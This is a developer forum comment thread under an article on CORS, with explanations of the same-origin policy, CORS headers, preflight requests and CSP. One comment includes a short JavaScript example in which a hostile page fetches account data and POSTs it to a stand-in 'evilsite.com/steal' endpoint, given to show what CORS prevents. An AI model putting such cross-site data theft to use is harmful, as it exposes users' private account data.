CORS, In A Way I Can Understand

Doug Black on November 14, 2018

Two days ago, I tweeted my frustration: I was an hour in to diagnosing a tiny browser error that was breaking the entire project: "CORS error, A... [Read Full]
markdown guide
 

Hey Doug,

since CORS was bothering me too lately I fully understand your pain :) and I'd like to try to shed some light. Unfortinately the metaphor you came up with doesn't explain the concept behind CORS. But first things first, browsers implement something called "Same-origin Policy" (SOP) (en.wikipedia.org/wiki/Same-origin_...) that says, two websites can load each others contents only if they are both from the same origin where an origin is composed of the scheme the host name and the port - like "example.org:443" (when using standard ports those can be omitted). If the origins of the two sites differ, loading content from each other is not permitted, unless we use CORS to poke little holes into the SOP (even bigger holes when you are not careful enough).

Furthermore CORS response headers are only set on the remote resources, that means you are not able to permit or deny the loading of external content with them on your end. This could be achieved with the use of a "Content Security Policy" (this is what you describe in your ad example and this is where your metaphor applies).

Now for CORS the easiest example is the scenario where you would include a web font, hosted on one of those font sites (Site B), on your website (Site A). Because web fonts are subject to CORS the provider has to make sure that browsers are able to call the resource by adding the header "Access-Control-Allow-Origin" normally with an asterisk (*) as value because the provider doesn't know which origins stop by. A browser would load Site A - detects it should load a font from Site B (another origin) - sends a CORS request to get the resource - finds a valid CORS response header - displays the font.

And finally we get back to your metaphor where we have to shift the perspective a bit. You would tell your child to give away your car key when you are away but you do not tell her to whom. Then a stranger couldn't even knock on your door (because of that annoying error message :D). You could also tell her, give the key only to your grandma. The situation for a stranger wouldn't change, still not able to knock. But when her grandma stands at the door and requests the key your daughter would give it to her. The last possibility is, you think "what the heck", you can give the key to anyone who knocks. A stranger comes by, knocks, requests the key and has a nice ride in your car.

I hope this helps to understand CORS a little bit better.

Further reading:

Some advice at the end:

  • be careful when designing CORS rules
  • use wildcards in "Access-Control-Allow-Origin" only if it is a public resource
  • be cautious with CORS headers when using intermediate caches
 
 

CORS is so frustrating because because just like your metaphors, it's imperfect. CORS is the wrong solution to a very important problem. In a world of APIs and SPAs, JavaScript can do quite a lot. Say for instance you happen to accidentally go to badsite.com or I can somehow get badsite.com injected into an <iframe> of goodsite.com ((which can stopped with frame-src in CSP)).

I imagine you might have a google account. Without CORS, badsite.com would be allowed to do something very similar to the following:

fetch("https://google.com/api/account_details/@me/everything")
.then(response => response.json())
.then(data => fetch("https://evilsite.com/steal", {method:"POST", body:data});

By having hosts whitelist the sites that are allowed to connect to them (and read the response) developers can know exactly who will be using their site.


This sounds great! Why don't I like it? CORS was added before the JS permission model and Promises. I've run into a few public APIs where they didn't add the proper CORS headers because maybe they didn't know about CORS or they intend for the API to be mostly consumed by non-Web functions (which don't listen to CORS (the browser is the only thing that enforces it)).

This leaves you an unfortunate predicament where you can either try and contact them and try and get the site admin to add the headers (which doesn't always work) or you can use a proxy like cors.io (but the reliability of that site being up is entirely out of your hands.)

Is there an alternative? Yes, of course! Let's look at an example:

// dev.to/account/import/medium_article
fetch("https://medium.com/api/article/501d")
.then(x => x.json())
.then(x => {
    // code...
});

fetch is a built-in function originally added to replace XMLHttpRequest. But since it uses Promises, it would be perfect for this. In the same way that your browser will ask you if it's okay for a site to send you notifications, or auto-play video, they could ask if you're okay with a site connecting to an origin. If the user says no, reject the Promise. So if evilsite.com requests google.com you say no, but if dev.to requests medium.com while you're trying to import a Medium article the fetch succeeds with a normal non-opaque response.


Sorry for the tangent, this is probably an article in the making, but I hope this helped!

 
 

Ok I have some questions since i have been struggling with this for ages now.

If Miss Patty comes over and someone knocks on the door can she let them in? Or is your daughter still the only one that can open the door?

Wouldn't it be easier to set what something can do instead of what they cant do. Your friend cant paint the walls doesn't mean that they cant paint the ceiling or for that matter the lap hanging on the wall.

CSP would be another great topic.

 

The pre-flight request (OPTIONS) is issued by the browser before the original request is sent to the server and will mostly match the intended request. For illustration, GET /books/1234 would look something like OPTIONS /books/1234. The server should be setting the pre-flight response appropriate to the resource on the server. So OPTIONS /wall?paint can return different allowed methods than OPTIONS /ceiling?paint. It is a responsibility of the server to enforce specific CORS policies.

I am of the personal opinion that CORS is currently pointless since browsers have to opt-in to implementing this control. It does a great job of being descriptive to the browser user-agent of the capabilities of the resource, but that description generally is hard to describe in any efficient way (assuming large sets of APIs).

If you are serving traffic from user-agents that are not a browser, than the API is essentially acting public anyway and the CORS control is no longer triggered. This is where it becomes important to authenticate the User Principal and authorize against identity claims as to what that user can do with that public resource. This is where OAuth and Open ID Connect play.

 

I'm curious. Have you had your cat spray-painted before?

 
code of conduct - report abuse